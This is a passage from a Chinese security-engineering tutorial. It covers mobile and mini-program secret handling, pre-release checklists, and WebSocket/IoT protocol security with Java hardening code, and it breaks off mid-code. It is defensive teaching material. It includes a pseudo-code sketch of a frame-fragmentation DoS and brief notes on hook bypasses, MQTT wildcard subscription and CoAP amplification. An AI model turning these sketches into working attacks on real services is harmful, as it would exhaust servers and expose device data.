        → "接口地址、签名算法,最致命的是【硬编码的 AppSecret】"
          → "AppSecret 泄露有什么后果?"
            → "可以调 code2Session 拿 session_key,
               session_key 能解密用户的加密数据(手机号)"
              → "怎么防?"
                → "所有 Secret 只放服务端,
                   code2Session 和解密都在服务端做,
                   小程序端零密钥"

追问链 4(越权):
"移动端怎么防越权?"
→ "服务端 BOLA 校验"
  → "我们有接口签名,能防住吗?"
    → "防不住。签名证明'是 App 发的',不证明'有权看这个数据'"
      → "那签名的作用是什么?"
        → "防篡改、防重放、提高门槛"
          → "所以两个都要做?"
            → "对。签名是完整性保护,授权是访问控制,
               两个维度,都要有,不能互相替代"

4.10 第四章小结

4.10.1 核心认知五条

┌────────────────────────────────────────────────────────────────┐
│  ① 客户端不可信 —— 这是移动安全的【第一原理】                     │
│     代码能反编译、内存能改、函数能 Hook、流量能抓。               │
│     ★ 推论:客户端的所有校验都只是"用户体验",不是"安全控制"。     │
│        所有校验必须在服务端【重做一遍】。                          │
├────────────────────────────────────────────────────────────────┤
│  ② 移动端 60% 的漏洞其实是【接口漏洞】                            │
│     BOLA / BOPLA / 认证失效 —— 第二章的内容一个都不少。            │
│     而且更危险:原生请求没有 Referer/Origin,                     │
│     网关和 WAF 更难识别,监控和限流往往也更松。                    │
│     ★ 所以移动端安全的优先级:接口安全 > 本地存储 > 组件暴露        │
│       > 运行时防护 > 代码加固                                     │
├────────────────────────────────────────────────────────────────┤
│  ③ App 里没有任何"秘密"                                          │
│     硬编码的密钥、API Key、签名算法,strings 一条命令就出来。      │
│     ★ 解决:密钥用 Keystore(硬件级,取不出来)                   │
│             签名密钥服务端动态下发 + 绑定设备 + 定期轮换            │
│             AppSecret 只在服务端                                 │
├────────────────────────────────────────────────────────────────┤
│  ④ 加固是"提高门槛",风控是"消除收益"                             │
│     混淆/加壳/O-LLVM:把逆向从 3 小时变 3 天,                    │
│     但【挡不住 Frida Hook】,更【挡不住直接用 curl 调接口】。       │
│     ★ 真正有效的是服务端:设备指纹 + 风险评分 + 分级管控 +         │
│       行为分析 + 业务规则。                                       │
│     ★ 一句话:加固决定"攻击者要花多久",                          │
│             服务端决定"攻击者能拿到什么"。                        │
├────────────────────────────────────────────────────────────────┤
│  ⑤ 检测到异常不要"本地自杀"                                       │
│     Root / 越狱 / 调试 / 签名异常 —— 本地强退有两个问题:          │
│       ① 误伤正常用户(开发者、极客)                              │
│       ② 一定能被 Hook 绕过(一行代码就让检测返回 false)           │
│     ★ 正确做法:作为【风控信号】上报服务端,                       │
│       由服务端决定"这个设备能做什么"。                             │
│       决策在服务端,客户端改不了 —— 这才是真防护。                 │
└────────────────────────────────────────────────────────────────┘

4.10.2 一句话记忆法

Web:用户输入不可信 移动:客户端不可信(连代码都在攻击者手里) 小程序:代码在平台手里,但密钥不能在你手里(解包就能看)

4.10.3 三份“上线前必查”清单

Android 上线前(12 项):

☐ allowBackup="false"
☐ debuggable="false"
☐ usesCleartextTraffic="false"
☐ 所有组件显式声明 exported,不需要的全部 false
☐ networkSecurityConfig:只信任 system 证书
☐ 证书绑定已配置(XML + OkHttp),且有备份 pin
☐ 敏感数据用 EncryptedSharedPreferences
☐ 密钥/证书用 Android Keystore,不硬编码
☐ 绝不存密码明文
☐ Release 开启 minifyEnabled,移除 Log.d/v/i
☐ WebView 三个 file 配置全 false + onReceivedSslError 不 proceed
☐ 接口签名密钥动态下发(不硬编码)

iOS 上线前(8 项):

☐ 敏感数据用 Keychain(ThisDeviceOnly / 生物识别保护)
☐ UserDefaults 里没有任何敏感信息
☐ ATS 保持默认开启(不要 NSAllowsArbitraryLoads=true)
☐ 证书绑定已配置(URLSessionDelegate)
☐ Release 关闭 print 日志
☐ URL Scheme 改用 Universal Links
☐ 敏感页面截图防护
☐ 敏感输入关闭键盘缓存(autocorrectionType = .no)

小程序上线前(8 项):

☐ AppSecret 绝不在小程序端(只在服务端)
☐ 所有第三方 Secret 不放小程序端
☐ code2Session 在服务端做
☐ session_key 绝不下发
☐ 云数据库权限:仅创建者可读写,或 false + 云函数
☐ 云函数用 cloud.getWXContext().OPENID
☐ 签名密钥动态下发
☐ 本地 Storage 不存敏感数据

★ 通用铁律(三条,背下来):

① 所有客户端校验,服务端必须重做一遍
② 签名防篡改,授权防越权 —— 两个维度,都要做
③ 检测到异常上报风控,不要本地自杀


第五章:实时通信与 IoT 协议安全(长连接与物理世界)

本章定位:前四章讲的都是“请求-响应”模型——客户端问一句,服务端答一句,答完就散。 第五章开始讲长连接:连上就不挂,服务端能主动推,设备能一直在线。

长连接一上,前面所有的安全假设全部失效:

  • WAF 失效:它只认 HTTP 请求,WebSocket 握手完就变成另一套协议,后面的帧它看不懂
  • 限流失效:限流按“请求数”算,一条 WebSocket 连接是 1 个请求,但里面能塞 100 万条消息
  • 网关鉴权失效:只在握手那一刻鉴权,后面几小时的消息全默认可信
  • 日志失效:传统访问日志记的是“GET /api/x 200”,长连接里什么都没记

更狠的是 IoT:这一章后半部分的漏洞,不是丢数据,是能让工厂停机、让电梯卡住、让门禁打开。

本文档名词速查(第五章涉及)

生僻名词在正文首次出现时都有「白话解释 + 生活类比」,这里先列出来方便回查。

名词 白话解释 出处
长连接 连上就不挂断的通道,双方随时能说话,不用每次重新握手 5.1.1
全双工 / 半双工 全双工=打电话(两边能同时说);半双工=对讲机(同一时刻只有一边能说) 5.1.1
WebSocket 浏览器和服务器之间的“电话线”,握手后双向随时发 5.2.1
Upgrade 握手 用 HTTP 打个招呼,然后说“我们换 WebSocket 协议吧” 5.2.1
帧(Frame) WebSocket 传输的最小单位,一条大消息会被切成很多帧 5.2.2
掩码(Mask) 客户端发给服务端的帧必须打乱,防止缓存投毒 5.2.2
CSWSH 跨站 WebSocket 劫持,恶意网页冒用你的身份连 WebSocket 3.8 / 5.2.4
SSE 服务端单向推送(只能服务端→浏览器),基于普通 HTTP 5.3.1
EventSource 浏览器里收 SSE 的 API,不能自定义请求头 5.3.2
WebRTC 浏览器之间直接音视频/数据直连(P2P),不经过服务器 5.4.1
STUN 帮你查“我在公网上的地址是什么”的服务 5.4.2
TURN 直连失败时帮忙中转的服务器(流量全过它) 5.4.2
ICE 收集所有可能的连接方式,逐个试,选出能通的那个 5.4.2
DTLS-SRTP WebRTC 的加密组合:DTLS 管密钥协商,SRTP 管媒体加密 5.4.5
MQTT 物联网最常用的消息协议,发布/订阅模式,极轻量 5.5.1
Broker MQTT 的消息中转站(邮局),所有消息都过它 5.5.1
Topic MQTT 的消息分类(像邮箱地址 factory/line1/temp) 5.5.2
通配符 # / + # 匹配任意多层(所有邮件都给我),+ 匹配单层 5.5.3
QoS 消息送达质量保证:0 最多一次 / 1 至少一次 / 2 恰好一次 5.5.4
保留消息(Retained) Broker 记住每个 Topic 的最后一条,新订阅者立刻收到 5.5.5
LWT(遗愿消息) 设备意外掉线时,Broker 替它发的最后一条消息 5.5.6
$SYS Broker 自己的系统主题,泄露客户端列表、版本、流量 5.5.7
CoAP 受限设备的“迷你 HTTP”,跑在 UDP 上 5.6.1
DTLS UDP 版的 TLS(因为 UDP 不能像 TCP 那样握手排序) 5.6.2
放大反射攻击 伪造源 IP 发小包,服务器回大包,流量被放大几十倍 5.6.3
Modbus 工业设备的通信协议,1979 年的设计,明文、无认证 5.7.1
线圈 / 寄存器 工控设备的开关量(线圈)和数值(寄存器) 5.7.2
S7comm 西门子 PLC 的私有协议,同样无认证 5.7.5
OTA 设备远程固件升级(手机系统更新就是 OTA) 5.8.4
降级攻击 骗设备刷回有漏洞的旧版本固件 5.8.4
UART / JTAG / SWD 设备主板上的调试接口,接上就能拿到 shell 5.8.2

5.1 先讲清楚:长连接为什么让安全体系集体失效

5.1.1 五个协议的定位与本质差异

一句话总览:

HTTP 是“写信”——你寄一封,对方回一封,信封上有地址、有内容、有回信地址,邮局(网关)能看懂、能检查、能拒绝。 WebSocket 是“打电话”——拨通一次,后面说什么邮局管不着,因为线路已经建立了。 MQTT 是“广播电台”——你调到某个频率(Topic)就能一直听,电台不知道谁在听。

五个协议定位表:

协议 传输层 通信方向 典型场景 默认加密 默认认证 一句话风险
WebSocket TCP 全双工(双向同时) 聊天、协同编辑、实时推送、行情 否(wss 才加密) 无 握手后完全裸奔
SSE TCP(HTTP) 半双工(只服务端→客户端) 通知流、AI 打字机输出、进度条 依赖 HTTPS 依赖 Cookie 不能带自定义头,只能用 Cookie
WebRTC UDP/TCP 全双工 P2P 视频会议、屏幕共享、文件直传 强制 DTLS 信令层自己做 泄露内网 IP、TURN 被白嫖
MQTT TCP 发布/订阅(经 Broker) 物联网、车联网、工业采集 否(MQTTS 才加密) 常见匿名 # 订阅全部数据
CoAP UDP 请求/响应 + Observe 传感器、低功耗设备 否(DTLS 可选) 无 UDP 放大反射 DDoS

为什么必须分开理解:

很多人的误区是“反正都是长连接,一回事”。实际上安全模型完全不同:

WebSocket / SSE:                 MQTT / CoAP:
  客户端 ←──── 长连接 ────→ 服务端     设备 A ──→ Broker ←── 设备 B
  身份在握手时确定一次                 身份在 CONNNECT 时确定
  消息 = 点对点                        消息 = 广播(谁订阅谁收到)
  越权 = 这条连接不该收到这条消息       越权 = 这个设备不该订阅这个 Topic
  防御 = 每个订阅都要鉴权              防御 = ACL(访问控制列表)

关键差别:WebSocket 是“我给你发消息”,MQTT 是“我往一个频道发消息,谁在听谁收到”。 所以 MQTT 的安全重心不在“消息本身”,而在**“谁能订阅哪个频道”**。

5.1.2 传统安全设备在长连接面前的失明

为什么 WAF 看不见 WebSocket 里的内容:

1. 浏览器发 HTTP 请求:GET /ws  Upgrade: websocket
   ↓ WAF 看得懂,检查 URL、Header、Cookie → 放行

2. 服务端回 101 Switching Protocols
   ↓ WAF 也看得懂(这是 HTTP 状态码)

3. 【此后】连接变成 WebSocket 协议,数据以"帧"传输
   ↓ WAF 看不懂了 —— 它期待下一个 HTTP 请求,
     但收到的是二进制帧。多数 WAF 直接透传或断开

实测结论(对主流 WAF / 云网关):

设备类型 对 WebSocket 帧内容 说明
传统 WAF(ModSecurity 等) ❌ 不检测 只认 HTTP 语义
部分云原生网关 ⚠️ 仅检测握手 握手 URL/Header 能查,消息体不查
专业 API 网关(Kong/APISIX) ⚠️ 需显式开启 默认不解析帧
L7 负载均衡(NGINX) ❌ 不检测 只做转发和超时
自研业务代码 ✅ 唯一可靠的地方 必须在应用内做鉴权和限流

给面试的诚实答案: “WAF 拦不住 WebSocket 里的攻击载荷,因为握手之后协议就变了,WAF 的 HTTP 解析器失效。 所以 WebSocket 的安全必须在应用层做:握手期鉴权、每条消息鉴权、消息级限流、消息大小限制。”

为什么按“请求数”限流会失效:

传统 HTTP:攻击者刷 1 万次接口 → 1 万个 HTTP 请求 → 限流规则"每分钟 100 请求"拦截

WebSocket:攻击者建 1 条连接(算 1 个请求)→ 在这条连接里发 1 万条消息
           → 限流规则"每分钟 100 请求"完全没反应,因为只有 1 个请求

所以限流维度必须从“请求数”改成“消息数”:

维度 传统 HTTP 长连接
限流单位 请求数(Request) 消息数(Message)+ 字节数(Bytes)
限流位置 网关 / Nginx 应用内(网关看不到消息)
连接数限制 不太需要(短连接) 必须(1 个 IP 建 1 万条连接)
单条大小 body 大小 帧大小 + 分片累计大小
空闲超时 无 必须(慢速攻击占着连接不发)

5.1.3 长连接的攻击面总览

                    ┌─────────────── 长连接攻击面 ───────────────┐
                    │                                            │
   ① 握手期          │  认证缺失     Origin 未校验   协议降级      │
   (连的时候)       │  凭据在 URL    CSWSH         Upgrade 绕过  │
                    │                                            │
   ② 消息期          │  消息注入     越权订阅       未授权推送     │
   (连上之后)       │  XSS 载荷     JSON 解析漏洞   二进制帧溢出   │
                    │                                            │
   ③ 资源期          │  连接耗尽     消息洪水       分片炸弹       │
   (耗资源)         │  慢速攻击    大消息撑爆内存   句柄泄漏      │
                    │                                            │
   ④ 协议自身        │  MQTT # 订阅   CoAP 放大反射  Modbus 无认证 │
   (协议设计缺陷)   │  TURN 白嫖    STUN 内网泄露  降级攻击      │
                    │                                            │
                    └────────────────────────────────────────────┘

5.2 WebSocket 安全(完整攻防)

3.8 节讲过 CSWSH(跨站 WebSocket 劫持),那是 WebSocket 最经典的漏洞。 这一节补全剩下 80% 的攻击面。

5.2.1 握手过程与协议细节(看懂才知道哪里能动手)

白话:WebSocket 不是凭空冒出来的协议。它先假装自己是 HTTP,跟服务器说“我想升级成 WebSocket”,服务器同意了(返回 101),这条连接就变成 WebSocket 了。之后传的数据不再是 HTTP 报文,而是“帧”。

完整握手过程:

# ===== 客户端请求(还是标准 HTTP)=====
GET /chat HTTP/1.1
Host: api.example.com
Upgrade: websocket                       # 我要升级协议
Connection: Upgrade                      # 配合上一行
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==      # 随机 base64,防缓存投毒
Sec-WebSocket-Version: 13                 # 协议版本
Origin: https://www.example.com           # ★ 从哪个页面发起的(CSWSH 的关键)
Sec-WebSocket-Protocol: chat, superchat   # 子协议协商
Cookie: sessionid=abc123                  # ★ 浏览器自动带上(CSWSH 的根源)
Authorization: Bearer eyJhbGci...         # 可选,但浏览器 API 不能设这个头

# ===== 服务端响应 =====
HTTP/1.1 101 Switching Protocols          # 101 = 我同意换协议
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=   # Key + 固定 GUID 做 SHA1 + base64
Sec-WebSocket-Protocol: chat              # 选定子协议

Sec-WebSocket-Accept 是怎么算的(面试常问,也是防缓存投毒的关键):

/**
 * Sec-WebSocket-Accept 计算
 *
 * 公式:base64(SHA1(客户端 Key + 魔法字符串))
 * 魔法字符串(RFC 6455 规定,固定值):
 *   258EAFA5-E914-47DA-95CA-C5AB0DC85B11
 *
 * 为什么需要这一步?
 *   防止"缓存投毒":如果服务器无脑返回 101,那么一个恶意的
 *   HTTP 请求可能被中间的缓存服务器(CDN / 代理)缓存成
 *   "这个 URL 返回的是 WebSocket 响应",导致其他用户拿到错误内容。
 *   有了这个计算,缓存服务器一看响应内容和请求对不上,就不会缓存。
 *
 * 生活类比:
 *   你去银行柜台说"我要办业务",柜员不直接办,而是说
 *   "请你报一下刚才我给你的那个号码 + 我们的暗号组合后的结果"。
 *   你答对了,说明你真的是刚才那个人,不是别人伪造的请求。
 */
public class WebSocketHandshakeUtil {

    private static final String MAGIC_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";

    public static String computeAccept(String clientKey) {
        String combined = clientKey.trim() + MAGIC_GUID;
        try {
            MessageDigest sha1 = MessageDigest.getInstance("SHA-1");
            byte[] hash = sha1.digest(combined.getBytes(StandardCharsets.UTF_8));
            return Base64.getEncoder().encodeToString(hash);
        } catch (NoSuchAlgorithmException e) {
            throw new IllegalStateException("SHA-1 不可用", e);
        }
    }

    public static void main(String[] args) {
        // RFC 6455 官方示例,可用于自测
        String key = "dGhlIHNhbXBsZSBub25jZQ==";
        String accept = computeAccept(key);
        System.out.println(accept);
        // 输出:s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
        // 和 RFC 文档一致,说明实现正确
    }
}

⚠️ 注意:这个机制只防缓存投毒,不防任何真实攻击。 攻击者用任何 WebSocket 库都会自动算对,它完全不是认证机制。 很多初学者误以为“有 Key/Accept 校验所以安全”——错,它和安全无关。

5.2.2 帧结构与分片(DoS 攻击的温床)

帧结构(简化版,理解要点即可):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (如果 len=126 用 16 位,      |
| |1|2|3|       |K|             |     len=127 用 64 位)          |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     扩展长度(可选)              |     掩码密钥(4 字节,客户端→服务端必须有)
+-------------------------------+ - - - - - - - - - - - - - - - +
|  掩码密钥(续)                  |          载荷数据 Payload ...
+-------------------------------- - - - - - - - - - - - - - - - +

必须记住的四个字段:

字段 白话 安全含义
FIN 是不是最后一帧 分片攻击:一直发 FIN=0 的帧,服务端要一直缓存,内存撑爆
opcode 帧类型(1=文本 2=二进制 8=关闭 9=Ping 10=Pong) 收到 0(续帧)但之前没有起始帧 = 协议错误,要断开
MASK 客户端→服务端必须为 1 服务端必须校验:收到未掩码的帧要断开(防缓存投毒)
Payload len 载荷长度,可扩展到 64 位 可声明 2^63 字节!服务端不能预分配内存

分片攻击(Frame Fragmentation DoS)原理:

攻击代码(概念示意):
  ws.send(frame(FIN=0, opcode=1, payload="A" * 1))      # 第 1 片,不是最后一片
  ws.send(frame(FIN=0, opcode=0, payload="A" * 1))      # 第 2 片(续帧)
  ... 重复 1000 万次 ...
  # 永远不发 FIN=1

服务端在干什么?
  缓冲区不停累积:1 + 1 + 1 + ... = 10 MB、100 MB、1 GB ...
  因为消息"还没结束",不能交给业务处理,只能一直等着

结果:
  每个连接占 1GB 内存 → 100 个连接 → 服务器 OOM

防御(Spring 配置,一定要设):

/**
 * WebSocket 资源限制配置
 *
 * 核心思路:所有"可累积"的资源都必须设上限,
 * 且上限要在"累积之前"就生效,而不是等撑爆了才发现。
 */
@Configuration
@EnableWebSocketMessageBroker
public class WebSocketResourceConfig implements WebSocketMessageBrokerConfigurer {

    /**
     * 配置底层 WebSocket 容器
     */
    @Bean
    public ServletServerContainerFactoryBean createWebSocketContainer() {
        ServletServerContainerFactoryBean container = new ServletServerContainerFactoryBean();

        // ① 单条消息最大 64KB(业务够用即可,不要贪大)
        //    ★ 这是最重要的配置,能挡住 99% 的内存型 DoS
        container.setMaxTextMessageBufferSize(64 * 1024);
        container.setMaxBinaryMessageBufferSize(64 * 1024);

        // ② 异步发送超时 10 秒
        //    防止慢客户端拖住发送线程(慢速攻击)
        container.setAsyncSendTimeout(10_000L);

        // ③ 会话空闲超时 5 分钟
        //    ★ 挡住"建了连接不发消息"的慢速攻击
        //    正常情况下客户端会有心跳,5 分钟没动静就踢掉
        container.setMaxSessionIdleTimeout(5 * 60 * 1000L);

        return container;
    }

    @Override
    public void configureWebSocketTransport(WebSocketTransportRegistration registration) {
        // ④ 入站消息最大 64KB
        registration.setMessageSizeLimit(64 * 1024);

        // ⑤ 发送缓冲区 512KB
        //    防止服务端发得快、客户端收得慢,导致内存堆积
        registration.setSendBufferSizeLimit(512 * 1024);

        // ⑥ 发送时间限制 10 秒
        registration.setSendTimeLimit(10 * 1000);
    }

    @Override
    public void configureClientInboundChannel(ChannelRegistration registration) {
        // ⑦ 入站通道线程池
        //    限制并发处理线程数,避免消息洪水打满线程池
        registration.taskExecutor()
                    .corePoolSize(4)
                    .maxPoolSize(16)          // 不能无限增长
                    .queueCapacity(1000)      // 队列有上限,满了就拒绝
                    .keepAliveSeconds(60);
        // ★ 队列满了之后必须有拒绝策略,否则一样 OOM
    }

    @Override
    public void configureClientOutboundChannel(ChannelRegistration registration) {
        registration.taskExecutor()
                    .corePoolSize(4)
                    .maxPoolSize(16)
                    .queueCapacity(1000);
    }
}

连接数限制(Tomcat 层面 + 应用层面双保险):

/**
 * WebSocket 连接数管理器
 *
 * 三个维度都要限,缺一不可:
 *   ① 全局总连接数    —— 保护服务器
 *   ② 单 IP 连接数    —— 防止一个 IP 建一堆连接
 *   ③ 单用户连接数    —— 防止一个账号多开刷消息(多设备场景要放宽)
 *
 * 生活类比:
 *   餐厅要限制:全场总人数(消防)、每桌人数(体验)、
 *   一个人占几桌(防止黄牛占座)。三个都得限。
 */
@Component
@Slf4j
public class WebSocketConnectionLimiter implements WebSocketHandlerDecoratorFactory {

    /** 全局最大连接数 */
    private static final int MAX_TOTAL_CONNECTIONS = 50_000;
    /** 单 IP 最大连接数 */
    private static final int MAX_CONNECTIONS_PER_IP = 50;
    /** 单用户最大连接数(允许多设备,但要有限) */
    private static final int MAX_CONNECTIONS_PER_USER = 10;

    private final AtomicInteger totalConnections = new AtomicInteger(0);
    private final ConcurrentHashMap<String, AtomicInteger> perIpCount = new ConcurrentHashMap<>();
    private final ConcurrentHashMap<Long, AtomicInteger> perUserCount = new ConcurrentHashMap<>();

    @Override
    public WebSocketHandler decorate(WebSocketHandler handler) {
        return new CountingWebSocketHandler(handler);
    }

    private class CountingWebSocketHandler implements WebSocketHandler {

        private final WebSocketHandler delegate;
        private String clientIp;
        private Long userId;

        CountingWebSocketHandler(WebSocketHandler delegate) {
            this.delegate = delegate;
        }

        @Override
        public void afterConnectionEstablished(WebSocketSession session) throws Exception {
            this.clientIp = extractClientIp(session);
            this.userId = extractUserId(session);

            // ---------- ① 全局连接数检查 ----------
            if (totalConnections.get() >= MAX_TOTAL_CONNECTIONS) {
                log.warn("[WS] 全局连接数已满,拒绝新连接. ip={}, total={}",
                         clientIp, totalConnections.get());
                // 用 1013(服务繁忙)关闭,这是 WebSocket 标准关闭码
                session.close(CloseStatus.SERVICE_OVERLOAD);
                return;
            }

            // ---------- ② 单 IP 连接数检查 ----------
            AtomicInteger ipCount = perIpCount.computeIfAbsent(clientIp, k -> new AtomicInteger(0));
            if (ipCount.get() >= MAX_CONNECTIONS_PER_IP) {
                log.warn("[WS] 单 IP 连接数超限. ip={}, count={}", clientIp, ipCount.get());
                session.close(CloseStatus.SERVICE_OVERLOAD);
                return;
            }

            // ---------- ③ 单用户连接数检查(限流但不拒绝,踢最老的)----------
            if (userId != null) {
                AtomicInteger userCount =
                    perUserCount.computeIfAbsent(userId, k -> new AtomicInteger(0));
                if (userCount.get() >= MAX_CONNECTIONS_PER_USER) {
                    log.warn("[WS] 单用户连接数超限,踢掉最老的连接. userId={}", userId);
                    evictOldestSession(userId);
                }
                userCount.incrementAndGet();
            }

            // ---------- 全部通过,计数 ----------
            totalConnections.incrementAndGet();
            ipCount.incrementAndGet();

            try {
                delegate.afterConnectionEstablished(session);
            } catch (Exception e) {
                // 建立失败要回收计数,否则计数泄漏
                release();
                throw e;
            }
        }

        @Override
        public void afterConnectionClosed(WebSocketSession session, CloseStatus status) {
            try {
                delegate.afterConnectionClosed(session, status);
            } finally {
                // ★ finally 里释放,保证异常时也不会泄漏
                release();
            }
        }

        /**
         * 释放计数
         */
        private void release() {
            totalConnections.decrementAndGet();

            if (clientIp != null) {
                perIpCount.computeIfPresent(clientIp, (k, v) -> {
                    int remaining = v.decrementAndGet();
                    return remaining <= 0 ? null : v;   // 归零则移除,防内存泄漏
                });
            }
            if (userId != null) {
                perUserCount.computeIfPresent(userId, (k, v) -> {
                    int remaining = v.decrementAndGet();
                    return remaining <= 0 ? null : v;
                });
            }
        }

        /**
         * 踢掉该用户最老的连接
         */
        private void evictOldestSession(Long userId) {
            // 实际实现需要维护 userId -> 会话列表 的映射
            // 这里给出结构:找到该用户最早建立的会话,close 掉
            SessionRegistry registry = SessionRegistryHolder.get();
            registry.findOldestSession(userId)
                    .ifPresent(session -> {
                        try {
                            session.close(CloseStatus.NORMAL.withReason("其他地方登录"));
                        } catch (IOException ignored) {
                        }
                    });
        }

        @Override
        public void handleMessage(WebSocketSession session, WebSocketMessage<?> message) {
            delegate.handleMessage(session, message);
        }

        @Override
        public void handleTransportError(WebSocketSession session, Throwable exception) {
            delegate.handleTransportError(session, exception);
        }

        @Override
        public boolean supportsPartialMessages() {
            // ★ 强烈建议返回 false:不支持分片消息
            // 这样容器会在收完整条消息后才调 handleMessage,
            // 直接消灭分片攻击(累积内存撑爆)
            return false;
        }
    }

    /**
     * 提取客户端真实 IP
     *
     * ★ 坑点:如果有 Nginx 反代,getRemoteAddress() 拿到的是 Nginx 的 IP。
     *   必须从 X-Forwarded-For / X-Real-IP 取,且要防止伪造。
     */
    private String extractClientIp(WebSocketSession session) {
        // 握手时的 HTTP 头会保留在 session 的 attributes 里
        String xff = (String) session.getAttributes().get("HTTP.X-Forwarded-For");
        if (xff != null && !xff.isBlank()) {
            // XFF 格式:client, proxy1, proxy2 —— 第一个才是真实客户端
            return xff.split(",")[0].trim();
        }
        String realIp = (String) session.getAttributes().get("HTTP.X-Real-IP");
        if (realIp != null && !realIp.isBlank()) {
            return realIp.trim();
        }
        if (session.getRemoteAddress() != null) {
            return session.getRemoteAddress().getAddress().getHostAddress();
        }
        return "unknown";
    }

    private Long extractUserId(WebSocketSession session) {
        Principal principal = session.getPrincipal();
        if (principal instanceof AuthenticatedUser user) {
            return user.getUserId();
        }
        return null;
    }
}

⚠️ X-Forwarded-For 伪造问题: 如果 WebSocket 服务直接暴露在公网,攻击者可以自己塞 X-Forwarded-For: 1.2.3.4 绕过 IP 限流。 正确做法:只信任来自内网 Nginx 的 XFF,且 Nginx 要覆盖(不是追加)客户端传来的 XFF:

proxy_set_header X-Forwarded-For $remote_addr;   # 用 $remote_addr 覆盖,不是 $proxy_add_x_forwarded_for

或者用 real_ip 模块。

5.2.3 认证与授权缺失(最普遍的问题)

WebSocket 认证的三个时机:

① 握手期认证(Handshake Auth)
   在 HTTP 握手阶段检查 Cookie / Token
   ✅ 能拦住非法连接
   ❌ 只在这一刻检查,之后几小时的消息都默认可信

② 订阅期认证(Subscribe Auth)
   每次订阅某个频道时检查权限
   ✅ 能拦住越权订阅(这是最关键的)

③ 消息期认证(Message Auth)
   每条消息都校验发送者身份和内容权限
   ✅ 最安全
   ❌ 性能开销大(每条消息都要查权限)

推荐做法:① + ② 必做,③ 视场景选择性做(高敏感操作才做)。

五种认证方式与对比:

方式 怎么做 优点 缺点 推荐度
Cookie(同域) 握手时浏览器自动带 简单、自动 有 CSWSH 风险(必须配 Origin 校验) ⭐⭐⭐
URL 参数带 Token ws://api/ws?token=xxx 浏览器 API 支持 Token 会进日志/Referer/浏览器历史 ⭐(不推荐)
子协议带 Token Sec-WebSocket-Protocol: jwt, eyJ... 不进 URL 需要服务端解析第二个值 ⭐⭐⭐
握手后立即发认证消息 连上后第一条消息是 {"type":"auth","token":"..."} 灵活、可刷新 Token 未认证期间要限制可调用的方法 ⭐⭐⭐⭐
一次性 ticket 先 HTTP 换一个短时效 ticket,再用 ticket 连 Token 不落日志、可防重放 多一次请求 ⭐⭐⭐⭐⭐

❌ 反面教材:Token 放 URL(最常见的错误):

// ❌ 错误做法:Token 在 URL 里
const ws = new WebSocket(`wss://api.example.com/ws?token=${userToken}`);

// 会发生什么?
// 1. Nginx access.log 记录完整 URL → Token 进日志
// 2. 如果页面有外链,Referer 头可能带出去
// 3. 浏览器历史记录保存
// 4. 服务端错误日志打印 URL → Token 进异常堆栈
// 5. 中间代理(公司网关)可能记录
// 6. Token 通常长效(几小时),泄露窗口大

✅ 正确做法:一次性 ticket(推荐):

/**
 * WebSocket 一次性 Ticket 服务
 *
 * 流程:
 *   1. 前端先用普通 HTTPS 请求换取 ticket(携带正常 Token)
 *   2. ticket 有效期 60 秒,只能用一次
 *   3. 前端用 ticket 连 WebSocket:wss://api/ws?ticket=xxx
 *   4. 服务端校验 ticket 并立即删除(原子操作)
 *
 * 为什么这样安全?
 *   - Token 永远不出现在 WebSocket URL 里
 *   - ticket 60 秒过期,即使被日志记录也很快失效
 *   - ticket 只能用一次,被重放立即失败
 *   - 可以绑定客户端 IP / UA,进一步收窄
 *
 * 生活类比:
 *   Token 是你的身份证(丢了麻烦),
 *   ticket 是电影院的取票码(只能用一次,过期作废,丢了也就一场电影)。
 */
@Service
@Slf4j
public class WebSocketTicketService {

    private static final String TICKET_PREFIX = "ws:ticket:";
    private static final Duration TICKET_TTL = Duration.ofSeconds(60);

    @Autowired
    private StringRedisTemplate redis;

    /**
     * 步骤 1:换取 ticket
     */
    public String issueTicket(Long userId, String clientIp, String userAgent) {
        // ① 生成高强度随机 ticket
        String ticket = Base64.getUrlEncoder().withoutPadding()
                              .encodeToString(SecureRandom.getInstanceStrong().generateSeed(32));

        // ② 绑定用户、IP、UA(防止 ticket 被换一台机器用)
        TicketInfo info = new TicketInfo(userId, clientIp, hashUA(userAgent),
                                         System.currentTimeMillis());
        String key = TICKET_PREFIX + ticket;

        redis.opsForValue().set(key, JsonUtil.toJson(info), TICKET_TTL);

        // ③ 限制单个用户的 ticket 申请频率(防止刷 ticket 打满 Redis)
        String rateKey = "ws:ticket:rate:" + userId;
        Long count = redis.opsForValue().increment(rateKey);
        if (count == 1) {
            redis.expire(rateKey, Duration.ofMinutes(1));
        }
        if (count > 10) {
            throw new BizException("申请过于频繁,请稍后再试");
        }

        log.info("[WS-Ticket] 签发 ticket. userId={}, ip={}, ttl=60s", userId, clientIp);
        return ticket;
    }

    /**
     * 步骤 2:校验并消费 ticket
     *
     * ★ 关键:GET + DELETE 必须原子(Lua 脚本),
     *   否则并发下同一个 ticket 可能被用两次。
     */
    public Long consumeTicket(String ticket, String clientIp, String userAgent) {
        if (ticket == null || ticket.isBlank() || ticket.length() > 128) {
            return null;
        }

        String key = TICKET_PREFIX + ticket;

        // Lua 脚本:原子地 取出 + 删除
        String luaScript = """
            local value = redis.call('GET', KEYS[1])
            if not value then
                return nil
            end
            redis.call('DEL', KEYS[1])
            return value
            """;

        DefaultRedisScript<String> script = new DefaultRedisScript<>(luaScript, String.class);
        String json = redis.execute(script, Collections.singletonList(key));

        if (json == null) {
            log.warn("[WS-Ticket] ticket 无效或已被使用(可能是重放攻击). ip={}", clientIp);
            // ★ 这里要告警:正常用户不会命中,命中说明有人在扫描
            alertService.sendSecurityAlert("WS_TICKET_REPLAY",
                "检测到 WebSocket ticket 重放", Map.of("ip", clientIp));
            return null;
        }

        TicketInfo info = JsonUtil.fromJson(json, TicketInfo.class);

        // ③ 校验 IP(可选:NAT 环境下多用户可能同 IP,按业务决定)
        if (!clientIp.equals(info.clientIp())) {
